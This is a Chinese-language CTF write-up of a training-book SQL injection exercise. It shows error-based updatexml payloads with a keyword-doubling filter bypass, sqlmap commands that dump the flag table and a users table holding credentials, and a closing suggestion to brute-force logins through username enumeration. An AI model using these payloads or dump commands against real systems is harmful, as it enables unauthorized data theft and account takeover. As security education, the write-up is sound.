nu1L-web-low-4
题目描述
题目来源于Nuil战队从0到1 CTFer成长之路配套习题第4题,题目地址:
https://book.nu1l.com/tasks/#/pages/web/1.2
题目Flag:
n1book{login_sqli_is_nice}
Writeup
开启环境后,访问80端口下/login.php页面如下:

手工注入
登录框可能的注入点有两个name字段和pass,在进行过注入尝试后未发现有回显的注入

翻看前端源代码发现如下提示,提示加上tips=1开启报错

开启报错后再尝试注入发现有报错信息返回

尝试使用updatexml进行报错注入,发现存在报错注入

获取当前数据库名,数据库名为note

获取note数据库表名,在使用select获取表名时遇到报错,根据报错信息判断可能是sql语句被进行某种替换导致注入失败,经过尝试后采用如下payload进行绕过并成功获取表名:fl4g
name=1' and updatexml(1,concat(0x7e,(selselectect concat(table_name) from information_schema.tables where table_schema='note' limit 0,1),0x7e),1)#&pass=11111

获取note数据库fl4g表的字段:flag
name=1' and updatexml(1,concat(0x7e,(selselectect concat(column_name) from information_schema.columns where table_name='fl4g' and table_schema='note' limit 0,1),0x7e),1)#&pass=1111

获取note数据库fl4g表,flag字段的值得到最终flag
name=1' and updatexml(1,concat(0x7e,(selselectect flag from fl4g),0x7e),1)#&pass=111111

SQLMAP注入
将上文中手工注入的数据包保存在1.txt中,使用如下命令探测注入点,发现报错注入
python2 .\sqlmap.py -r .\1.txt --level 3

获取当前数据库名
python2 .\sqlmap.py -r .\1.txt --current-db

获取表名
python2 .\sqlmap.py -r .\1.txt -D note --tables

获取fl4g表中的字段
python2 .\sqlmap.py -r .\1.txt -D note -T fl4g --columns

获取flag字段的值,得到最终flag
python2 .\sqlmap.py -r .\1.txt -D note -T fl4g -C flag --dump

CTF之外的思考
在获取表名的时候,其实发现还有另一个users表,查看下users表中的字段,发现是存储着账号密码的
python2 .\sqlmap.py -r .\1.txt -D note -T users --columns

利用sqlmap自带的库尝试获取账号密码的明文信息,得到了两个账户密码
python2 .\sqlmap.py -r .\1.txt -D note -T users -C passwd,username --dump

使用账户密码登录,提示flag在数据库中

这里其实此系统存在个很明显的逻辑漏洞:用户名枚举漏洞
当输入存在的用户名和错误的密码提示帐号或密码错误

当输入不存在的用户名和错误的密码提示帐号不存在

根据此漏洞结合此网站不存在放爆破机制可以采用暴力枚举的手段登录系统。

浙公网安备 33010602011771号